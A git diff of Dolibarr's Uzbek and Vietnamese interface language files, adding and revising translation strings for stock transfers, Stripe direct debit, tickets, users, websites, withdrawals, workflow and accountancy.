AlwaysShowFullArbo=Qalqib chiqadigan omborxonada to'liq ombor daraxtini ko'rsating (Ogohlantirish: Bu ko'rsatkichlar keskin pasayishi mumkin) StockAtDatePastDesc=Siz bu erda o'tmishda berilgan sanada aktsiyalarni (haqiqiy aktsiyalar) ko'rishingiz mumkin @@ -265,10 +267,53 @@ ProductBarcodeDoesNotExist=Shtrixli mahsulot mavjud emas WarehouseId=Ombor identifikatori WarehouseRef=Ombor Ref SaveQtyFirst=Qimmatli qog'ozlar harakati yaratilishini so'rashdan oldin, birinchi navbatda, haqiqiy inventarizatsiya miqdorini saqlang. +ToStart=Start InventoryStartedShort=Boshlandi ErrorOnElementsInventory=Operatsiya quyidagi sabablarga ko'ra bekor qilindi: ErrorCantFindCodeInInventory=Inventarda quyidagi kod topilmadi QtyWasAddedToTheScannedBarcode=Muvaffaqiyat!! Miqdor barcha so'ralgan shtrix-kodga qo'shildi. Skaner vositasini yopishingiz mumkin. -StockChangeDisabled=Birjadagi o'zgarishlar o'chirilgan +StockChangeDisabled=Stock change disabled NoWarehouseDefinedForTerminal=Terminal uchun ombor aniqlanmagan ClearQtys=Barcha miqdorlarni tozalang +ModuleStockTransferName=Advanced Stock Transfer +ModuleStockTransferDesc=Advanced management of Stock Transfer, with generation of transfer sheet +StockTransferNew=New stock transfer +StockTransferList=Stock transfers list +ConfirmValidateStockTransfer=Are you sure you want to validate this stocks transfer with reference %s ? +ConfirmDestock=Decrease of stocks with transfer %s +ConfirmDestockCancel=Cancel decrease of stocks with transfer %s +DestockAllProduct=Decrease of stocks +DestockAllProductCancel=Cancel decrease of stocks +ConfirmAddStock=Increase stocks with transfer %s +ConfirmAddStockCancel=Cancel increase of stocks with transfer %s +AddStockAllProduct=Increase of stocks +AddStockAllProductCancel=Cancel increase of stocks +DatePrevueDepart=Intended date of departure +DateReelleDepart=Real date of departure +DatePrevueArrivee=Intended date of arrival +DateReelleArrivee=Real date of arrival +HelpWarehouseStockTransferSource=If this warehouse is set, only itself and its children will be available as source warehouse +HelpWarehouseStockTransferDestination=If this warehouse is set, only itself and its children will be available as destination warehouse +LeadTimeForWarning=Lead time before alert (in days) +TypeContact_stocktransfer_internal_STFROM=Sender of stocks transfer +TypeContact_stocktransfer_internal_STDEST=Recipient of stocks transfer +TypeContact_stocktransfer_internal_STRESP=Responsible of stocks transfer +StockTransferSheet=Stocks transfer sheet +StockTransferSheetProforma=Proforma stocks transfer sheet +StockTransferDecrementation=Decrease source warehouses +StockTransferIncrementation=Increase destination warehouses +StockTransferDecrementationCancel=Cancel decrease of source warehouses +StockTransferIncrementationCancel=Cancel increase of destination warehouses +StockStransferDecremented=Source warehouses decreased +StockStransferDecrementedCancel=Decrease of source warehouses canceled +StockStransferIncremented=Closed - Stocks transfered +StockStransferIncrementedShort=Stocks transfered +StockStransferIncrementedShortCancel=Increase of destination warehouses canceled +StockTransferNoBatchForProduct=Product %s doesn't use batch, clear batch on line and retry +StockTransferSetup = Stocks Transfer module configuration +Settings=Settings +StockTransferSetupPage = Configuration page for stocks transfer module +StockTransferRightRead=Read stocks transfers +StockTransferRightCreateUpdate=Create/Update stocks transfers +StockTransferRightDelete=Delete stocks transfers +BatchNotFound=Lot / serial not found for this product diff --git a/htdocs/langs/uz_UZ/stripe.lang b/htdocs/langs/uz_UZ/stripe.lang index aef85d4fbb6..36795c6075c 100644 --- a/htdocs/langs/uz_UZ/stripe.lang +++ b/htdocs/langs/uz_UZ/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook jonli kaliti ONLINE_PAYMENT_WAREHOUSE=Onlayn to'lov amalga oshirilganda aktsiyalarni pasaytirish uchun foydalaniladigan zaxiralar StripeLiveEnabled=Stripe jonli yoqilgan (aks holda sinov / sandbox rejimi) StripeImportPayment=Stripe to'lovlarini import qilish -ExampleOfTestCreditCard=Sinov uchun kredit karta misoli: %s => valid, %s => error CVC, %s => muddati o'tgan, %s => zaryad ishlamayapti +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Stripe shlyuzlari OAUTH_STRIPE_TEST_ID=Stripe Connect mijoz identifikatori (taxminan _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect mijoz identifikatori (taxminan _...) @@ -61,6 +62,7 @@ DeleteACard=Kartani o'chirish ConfirmDeleteCard=Ushbu Kredit yoki Debet kartani o'chirishni xohlaysizmi? CreateCustomerOnStripe=Stripe-da mijoz yarating CreateCardOnStripe=Stripe-da karta yarating +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Stripe-da ko'rsatish StripeUserAccountForActions=Stripe voqealari (Stripe to'lovlari) haqida elektron pochta orqali xabar berish uchun foydalanuvchi hisob qaydnomasi StripePayoutList=Stripe to'lovlari ro'yxati @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=IPH-ga qo'ng'iroq qilish uchun Stripe WebHook-ni sozl PaymentWillBeRecordedForNextPeriod=To'lov keyingi davr uchun qayd etiladi. ClickHereToTryAgain= Qayta urinish uchun shu erni bosing ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Mijozlarni kuchli autentifikatsiya qilish qoidalari tufayli kartani yaratish Stripe backoffice-da amalga oshirilishi kerak. Stripe mijozlar yozuvini yoqish uchun bu erni bosishingiz mumkin: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/uz_UZ/ticket.lang b/htdocs/langs/uz_UZ/ticket.lang index f3539ed954a..29bd3b5a0b5 100644 --- a/htdocs/langs/uz_UZ/ticket.lang +++ b/htdocs/langs/uz_UZ/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Chiptalarni o'zgartirish Permission56003=Chiptalarni o'chirish Permission56004=Chiptalarni boshqarish Permission56005=Uchinchi tomonlarning chiptalarini ko'ring (tashqi foydalanuvchilar uchun samarali emas, har doim ular bog'liq bo'lgan uchinchi tomon bilan cheklaning) +Permission56006=Export tickets +Tickets=Tickets TicketDictType=Chipta - turlari TicketDictCategory=Chipta - guruhlar TicketDictSeverity=Chipta - jiddiyliklar @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Tashqi yordamchi OriginEmail=Muxbirning elektron pochtasi Notify_TICKET_SENTBYMAIL=Elektron pochta orqali chiptani yuboring +ExportDataset_ticket_1=Tickets + # Status Read=O'qing Assigned=Tayinlangan @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Chiptani yopish paytida sizga uchinchi tomon kontaktl TicketWrongContact=Taqdim etilgan kontakt joriy chipta kontaktlarining bir qismi emas. Email yuborilmadi. TicketChooseProductCategory=Chiptalarni qo'llab-quvvatlash uchun mahsulot toifasi TicketChooseProductCategoryHelp=Chiptalarni qo'llab-quvvatlash mahsulot toifasini tanlang. Bu shartnomani chiptaga avtomatik bog'lash uchun ishlatiladi. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Tomonidan yaratilgan NewTicket=Yangi chipta SubjectAnswerToTicket=Chipta javobi TicketTypeRequest=So'rov turi -TicketCategory=Chiptalarni turkumlash +TicketCategory=Ticket group SeeTicket=Chiptani ko'ring TicketMarkedAsRead=Chipta o'qilgan deb belgilandi TicketReadOn=O'qing @@ -192,8 +198,7 @@ TicketAssigned=Endi chipta tayinlandi TicketChangeType=Turini o'zgartirish TicketChangeCategory=Analitik kodni o'zgartiring TicketChangeSeverity=Zo'ravonlikni o'zgartiring -TicketAddMessage=Xabar qo'shing -AddMessage=Xabar qo'shing +TicketAddMessage=Add private message MessageSuccessfullyAdded=Chipta qo'shildi TicketMessageSuccessfullyAdded=Xabar muvaffaqiyatli qo'shildi TicketMessagesList=Xatlar ro'yxati @@ -204,8 +209,8 @@ TicketSeverity=Jiddiylik ShowTicket=Chiptani ko'ring RelatedTickets=Tegishli chiptalar TicketAddIntervention=Aralashuvni yarating -CloseTicket=Yoping | Chiptani hal qiling -AbandonTicket=Chiptadan voz kechish +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Yoping | Chiptani hal qiling ConfirmCloseAticket=Chipta yopilishini tasdiqlang ConfirmAbandonTicket=Chiptaning "tashlab ketilgan" maqomiga yopilishini tasdiqlaysizmi? @@ -219,18 +224,17 @@ SendMessageByEmail=Elektron pochta orqali xabar yuboring TicketNewMessage=Yangi xabar ErrorMailRecipientIsEmptyForSendTicketMessage=Qabul qiluvchi bo'sh. Elektron pochta xabarlari yo'q TicketGoIntoContactTab=Ularni tanlash uchun "Kontaktlar" yorlig'iga o'ting -TicketMessageMailIntro=Kirish +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Ushbu matn faqat elektron pochta boshida qo'shiladi va saqlanmaydi. -TicketMessageMailIntroLabelAdmin=Barcha chipta javoblari uchun kirish matni TicketMessageMailIntroText=Salom,
      Siz kuzatayotgan chiptaga yangi javob qo'shildi. Bu xabar:
      TicketMessageMailIntroHelpAdmin=Bu matn Dolibarrdan chiptaga javob berishda javob oldidan kiritiladi -TicketMessageMailSignature=Imzo -TicketMessageMailSignatureHelp=Ushbu matn faqat elektron pochta oxirida qo'shiladi va saqlanmaydi. -TicketMessageMailSignatureText=Dolibarr orqali %s tomonidan yuborilgan xabar -TicketMessageMailSignatureLabelAdmin=Javob elektron pochtasining imzosi -TicketMessageMailSignatureHelpAdmin=Ushbu matn javob xabaridan keyin kiritiladi. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=This text will be inserted after the response message. TicketMessageHelp=Faqat ushbu matn chipta kartasidagi xabarlar ro'yxatida saqlanadi. TicketMessageSubstitutionReplacedByGenericValues=O'zgartirish o'zgaruvchilari umumiy qiymatlar bilan almashtiriladi. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=O'shandan beri vaqt o'tgan TicketTimeToRead=O'qishdan oldin o'tgan vaqt TicketTimeElapsedBeforeSince=Oldin / keyin o'tgan vaqt @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=%s mavzusida chiptada yangi xabar joy TicketAssignedToYou=Chipta tayinlandi TicketAssignedEmailBody=Sizga %s tomonidan # %s chiptasi tayinlangan MarkMessageAsPrivate=Xabarni shaxsiy sifatida belgilash +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Ushbu xabar tashqi foydalanuvchilarga ko'rsatilmaydi TicketEmailOriginIssuer=Chiptalarning kelib chiqishi bo'yicha emitent InitialMessage=Dastlabki xabar @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Siz quyidagi havolani bosish orqali ma'l TicketCloseEmailBodyInfosTrackUrlCustomer=Quyidagi havolani bosish orqali ushbu chipta tarixi bilan tanishishingiz mumkin TicketEmailPleaseDoNotReplyToThisEmail=Iltimos, ushbu elektron pochtaga to'g'ridan-to'g'ri javob bermang! Interfeysga javob berish uchun havoladan foydalaning. TicketPublicInfoCreateTicket=Ushbu shakl sizning boshqaruv tizimimizda qo'llab-quvvatlash chiptasini yozib olishga imkon beradi. -TicketPublicPleaseBeAccuratelyDescribe=Iltimos, muammoni aniq tasvirlab bering. Sizning so'rovingizni to'g'ri aniqlab olishimiz uchun imkon qadar ko'proq ma'lumotlarni taqdim eting. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Iltimos, chiptani kuzatish guvohnomasini kiriting TicketTrackId=Ommaviy kuzatuv identifikatori OneOfTicketTrackId=Kuzatuv identifikatoringizdan biri diff --git a/htdocs/langs/uz_UZ/users.lang b/htdocs/langs/uz_UZ/users.lang index 01bd6042b6b..316a54bd16c 100644 --- a/htdocs/langs/uz_UZ/users.lang +++ b/htdocs/langs/uz_UZ/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Guruhdan olib tashlash PasswordChangedAndSentTo=Parol o'zgartirildi va %s raqamiga yuborildi. PasswordChangeRequest= %s uchun parolni o'zgartirish haqida so'rov PasswordChangeRequestSent= %s uchun %s uchun parolni o'zgartirish uchun so'rov. -IfLoginExistPasswordRequestSent=Agar ushbu kirish to'g'ri hisob bo'lsa, parolni tiklash uchun elektron pochta xabarini yuborgan. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Agar ushbu elektron pochta manzili haqiqiy hisob bo'lsa, parolni tiklash uchun elektron pochta xabarlari yuborilgan. ConfirmPasswordReset=Parolni tiklashni tasdiqlang MenuUsersAndGroups=Foydalanuvchilar va guruhlar @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Foydalanuvchiga havola LinkedToDolibarrThirdParty=Uchinchi tomonga havola CreateDolibarrLogin=Foydalanuvchini yarating CreateDolibarrThirdParty=Uchinchi tomonni yarating -LoginAccountDisableInDolibarr=Dolibarr-da hisob o'chirilgan. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Shaxsiy qiymatdan foydalaning -InternalUser=Ichki foydalanuvchi ExportDataset_user_1=Foydalanuvchilar va ularning xususiyatlari DomainUser=Domen foydalanuvchisi %s Reactivate=Qayta faollashtiring @@ -128,3 +128,8 @@ DateLastLogin=Oxirgi kirish sanasi DatePreviousLogin=Oldingi kirish sanasi IPLastLogin=IP oxirgi kirish IPPreviousLogin=IP oldingi kirish +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/uz_UZ/website.lang b/htdocs/langs/uz_UZ/website.lang index d3a85d25032..8fa0e0554fa 100644 --- a/htdocs/langs/uz_UZ/website.lang +++ b/htdocs/langs/uz_UZ/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kod +WebsiteName=Name of the website WebsiteSetupDesc=Bu erda siz foydalanmoqchi bo'lgan veb-saytlarni yarating. Keyin ularni tahrirlash uchun veb-saytlar menyusiga o'ting. DeleteWebsite=Veb-saytni o'chirish ConfirmDeleteWebsite=Ushbu veb-saytni o'chirishni xohlaysizmi? Uning barcha sahifalari va tarkibi ham o'chiriladi. Yuklangan fayllar (masalan, Medlar katalogiga, ECM moduliga, ...) qoladi. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=HTML sarlavhasi ostidagi qo'shimchalar (barcha sahifalar uch WEBSITE_ROBOT=Robot fayli (robots.txt) WEBSITE_HTACCESS=Veb-sayt .htaccess fayli WEBSITE_MANIFEST_JSON=Veb-sayt manifest.json fayli -WEBSITE_README=README.md fayli WEBSITE_KEYWORDSDesc=Qiymatlarni ajratish uchun verguldan foydalaning -EnterHereLicenseInformation=README.md faylini to'ldirish uchun bu erga meta ma'lumotlar yoki litsenziya ma'lumotlarini kiriting. agar siz veb-saytingizni shablon sifatida tarqatsangiz, fayl vasvasaga solingan paketga kiritiladi. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=HTML sarlavhasi (faqat ushbu sahifaga xos) PageNameAliasHelp=Sahifaning nomi yoki taxallusi.
      Ushbu taxallus, shuningdek veb-serverning Virtual xostidan (Apacke, Nginx, ... kabi) veb-sayt ishga tushirilganda, SEO URL-ni yaratish uchun ishlatiladi. Ushbu taxallusni tahrirlash uchun " %s " tugmachasidan foydalaning. EditTheWebSiteForACommonHeader=Izoh: Agar siz barcha sahifalar uchun moslashtirilgan sarlavhani belgilamoqchi bo'lsangiz, sarlavhani sahifa / konteyner o'rniga sayt darajasida tahrirlang. @@ -42,6 +43,8 @@ ViewPageInNewTab=Sahifani yangi varaqda ko'rish SetAsHomePage=Uy sahifasi sifatida o'rnating RealURL=Haqiqiy URL ViewWebsiteInProduction=Uy manzillaridan foydalangan holda veb-saytni ko'ring +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Apache/NGinx/bilan ishlatish ...
      Veb -serveringizda (Apache, Nginx, ...) PHP yoqilgan maxsus Virtual Xost PHP bilan va Root direktoriyada
      %s ExampleToUseInApacheVirtualHostConfig=Apache virtual xostini o'rnatishda foydalanish uchun misol: YouCanAlsoTestWithPHPS= Use with PHP embedded server
      On develop environment, you may prefer to test the site with the PHP embedded web server (PHP 5.5 required) by running
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s sahifa / lar / qayta tiklangan konteyner (lar) RegenerateWebsiteContent=Veb-sayt kesh fayllarini qayta yarating AllowedInFrames=Kadrlarda ruxsat berilgan DefineListOfAltLanguagesInWebsiteProperties=Barcha mavjud tillarning ro'yxatini veb-sayt xususiyatlariga aniqlang. -GenerateSitemaps=Veb-sayt sayt xaritasi faylini yarating +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=Agar siz tasdiqlasangiz, mavjud sayt xaritasi faylini o'chirib tashlaysiz ... ConfirmSitemapsCreation=Sayt xaritasini yaratishni tasdiqlang SitemapGenerated=Sayt xaritasi fayli %s @@ -145,3 +148,10 @@ ImportFavicon=Favikon ErrorFaviconType=Favicon png bo'lishi kerak ErrorFaviconSize=Favikon hajmi 16x16, 32x32 yoki 64x64 bo'lishi kerak FaviconTooltip=Png (16x16, 32x32 yoki 64x64) bo'lishi kerak bo'lgan rasmni yuklang +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/uz_UZ/withdrawals.lang b/htdocs/langs/uz_UZ/withdrawals.lang index f5aa317dc7f..d0ef81a5817 100644 --- a/htdocs/langs/uz_UZ/withdrawals.lang +++ b/htdocs/langs/uz_UZ/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=Kredit o'tkazilishini kutayotgan hisob-faktu AmountToWithdraw=Chiqish uchun mablag ' AmountToTransfer=O'tkazish uchun miqdor NoInvoiceToWithdraw="%s" uchun hech qanday hisob-faktura kutilmaydi. So'rov yuborish uchun faktura kartasidagi '%s' yorlig'iga o'ting. -NoSupplierInvoiceToWithdraw="To'g'ridan-to'g'ri kredit so'rovlari" bo'lgan etkazib beruvchilarning hech qanday schyoti kutilmaydi. So'rov yuborish uchun faktura kartasidagi '%s' yorlig'iga o'ting. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Foydalanuvchi uchun javobgar WithdrawalsSetup=To'g'ridan-to'g'ri debet to'lovini sozlash CreditTransferSetup=Kredit o'tkazmalarini sozlash @@ -42,6 +42,7 @@ CreditTransferStatistics=Kredit o'tkazmalari statistikasi Rejects=Rad etadi LastWithdrawalReceipt=Oxirgi %s to'g'ridan-to'g'ri debet tushumlari MakeWithdrawRequest=To'g'ridan-to'g'ri debetni to'lash to'g'risida so'rov yuboring +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Kredit o'tkazish to'g'risida so'rov yuboring WithdrawRequestsDone=%s to'g'ridan-to'g'ri debet to'lovi bo'yicha so'rovlar yozib olindi BankTransferRequestsDone=%s kredit o'tkazish bo'yicha so'rovlar yozib olindi @@ -100,8 +101,11 @@ CreditDate=Kredit bo'yicha WithdrawalFileNotCapable=%s mamlakatingiz uchun pul olish kvitansiyasini yaratib bo'lmadi (Sizning mamlakatingiz qo'llab-quvvatlanmaydi) ShowWithdraw=To'g'ridan-to'g'ri debet buyurtmasini ko'rsatish IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Biroq, agar hisob-fakturada hali kamida bitta to'g'ridan-to'g'ri debet to'lovi buyurtmasi qayta ishlanmagan bo'lsa, uni oldindan olib qo'yishni boshqarish uchun to'lov sifatida o'rnatilmaydi. -DoStandingOrdersBeforePayments=Ushbu yorliq to'g'ridan-to'g'ri debet to'lovi buyurtmasini talab qilishga imkon beradi. Amalga oshirilgandan so'ng to'g'ridan-to'g'ri debet buyurtmasini yaratish va boshqarish uchun Bank-> To'g'ridan-to'g'ri debet orqali to'lov menyusiga o'ting. To'g'ridan-to'g'ri debet buyurtmasi yopilganda, hisob-fakturalar bo'yicha to'lov avtomatik ravishda qayd etiladi va qolgan to'lovlar bekor qilingan taqdirda hisob-kitoblar yopiladi. -DoCreditTransferBeforePayments=Ushbu yorliq sizga kredit o'tkazish tartibini so'rashga imkon beradi. Amalga oshirilgandan so'ng, kredit o'tkazish tartibini yaratish va boshqarish uchun Bank-> Kredit o'tkazmasi orqali to'lov menyusiga o'ting. Kredit o'tkazish bo'yicha buyurtma yopilganda, hisob-fakturalar bo'yicha to'lov avtomatik ravishda qayd etiladi va qolgan to'lovlar bekor qilingan taqdirda hisob-kitoblar yopiladi. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Debet buyurtma fayli CreditTransferFile=Kredit o'tkazish fayli SetToStatusSent="Fayl yuborildi" holatiga o'rnating @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=Bo'sh miqdor uchun to'g'ridan-to'g'ri debet so'rov SepaMandate=SEPA to'g'ridan-to'g'ri debet mandati SepaMandateShort=SEPA mandati PleaseReturnMandate=Iltimos, ushbu mandat shaklini elektron pochta orqali %s raqamiga yoki pochta orqali qaytaring -SEPALegalText=Ushbu mandat shaklini imzolash orqali siz (A) %s kompaniyasiga %s ko‘rsatmalariga muvofiq hisobingizni debet qilish bo‘yicha bankingizga ko‘rsatmalar yuborishga va (B) bankingizga hisobingizni debet qilishga ruxsat berasiz. Huquqlaringizning bir qismi sifatida siz bankingiz bilan tuzilgan shartnoma shartlariga muvofiq bankingizdan pulingizni qaytarib olish huquqiga egasiz. Yuqoridagi mandatga oid huquqlaringiz bankingizdan olishingiz mumkin bo'lgan bayonotda tushuntirilgan. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Kreditor identifikatori CreditorName=Kreditor nomi SEPAFillForm=(B) * belgilangan barcha maydonlarni to'ldiring. diff --git a/htdocs/langs/uz_UZ/workflow.lang b/htdocs/langs/uz_UZ/workflow.lang index 0062bc2a2ad..dd4d1430c94 100644 --- a/htdocs/langs/uz_UZ/workflow.lang +++ b/htdocs/langs/uz_UZ/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Sotib oluvchi hisob-f descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Bog'langan manba sotib olish buyurtmasini qabul qilish tasdiqlanganda olingan deb tasniflang (va barcha qabullar tomonidan qabul qilingan miqdor yangilash uchun xarid buyurtmasi bilan bir xil bo'lsa) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Bog'langan manba buyurtmasini qabulxona yopilganda olingan deb tasniflang (va barcha qabulxonalar tomonidan qabul qilingan miqdor yangilash uchun xarid buyurtmasidagi bilan bir xil bo'lsa) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Bog'langan etkazib beruvchining buyurtmasi tasdiqlanganda qabullarni "hisob-kitob" ga tasniflang +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Chipta yaratishda, mos keladigan uchinchi tomonning mavjud shartnomalarini bog'lang descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Shartnomalarni ulashda, ota-onalar kompaniyalari orasidan qidiring @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Chipta yopilganda chipta bilan bog'liq ba AutomaticCreation=Avtomatik yaratish AutomaticClassification=Avtomatik tasnif # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Mijozlarning hisob-fakturasi tasdiqlanganda bog'langan manbalarni etkazib berishni yopiq deb tasniflang +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) AutomaticClosing=Avtomatik yopish AutomaticLinking=Avtomatik ulanish diff --git a/htdocs/langs/vi_VN/accountancy.lang b/htdocs/langs/vi_VN/accountancy.lang index 8aad217d4bd..eb1e8334fc9 100644 --- a/htdocs/langs/vi_VN/accountancy.lang +++ b/htdocs/langs/vi_VN/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Chọn kiểu trả về ACCOUNTING_EXPORT_PREFIX_SPEC=Chỉ định tiền tố cho tên tệp ThisService=Dịch vụ này ThisProduct=Sản phẩm này -DefaultForService=Mặc định cho dịch vụ -DefaultForProduct=Mặc định cho sản phẩm +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Product for this thirdparty ServiceForThisThirdparty=Service for this thirdparty CantSuggest=Không thể gợi ý @@ -48,8 +48,9 @@ CountriesNotInEEC=Các nước không thuộc EEC CountriesInEECExceptMe=Các quốc gia trong EEC ngoại trừ %s CountriesExceptMe=Tất cả các quốc gia trừ %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Tài khoản kế toán chính cho các nhà c MainAccountForUsersNotDefined=Tài khoản kế toán chính cho người dùng không được định nghĩa trong thiết lập MainAccountForVatPaymentNotDefined=Tài khoản kế toán chính cho thanh toán VAT không được định nghĩa trong thiết lập MainAccountForSubscriptionPaymentNotDefined=Tài khoản kế toán chính cho thanh toán thuê bao không được định nghĩa trong thiết lập +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Khu vực kế toán AccountancyAreaDescIntro=Việc sử dụng mô đun kế toán được thực hiện trong một số bước: @@ -99,7 +101,8 @@ ShowAccountingAccount=Hiển thị tài khoản kế toán ShowAccountingJournal=Hiển thị nhật ký kế toán ShowAccountingAccountInLedger=Show accounting account in ledger ShowAccountingAccountInJournals=Show accounting account in journals -AccountAccountingSuggest=Đề xuất tài khoản kế toán +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Tài khoản mặc định MenuBankAccounts=Tài khoản ngân hàng MenuVatAccounts=Tài khoản VAT @@ -124,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=Sổ cái BookkeepingSubAccount=Subledger AccountBalance=Số dư tài khoản +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Tham chiếu đối tượng nguồn CAHTF=Tổng số mua từ nhà cung cấp trước thuế TotalExpenseReport=Tổng báo cáo chi phí @@ -161,42 +165,47 @@ BANK_DISABLE_DIRECT_INPUT=Vô hiệu hóa ghi trực tiếp giao dịch trong t ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Cho phép xuất dữ liệu bản nháp trong nhật ký ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default 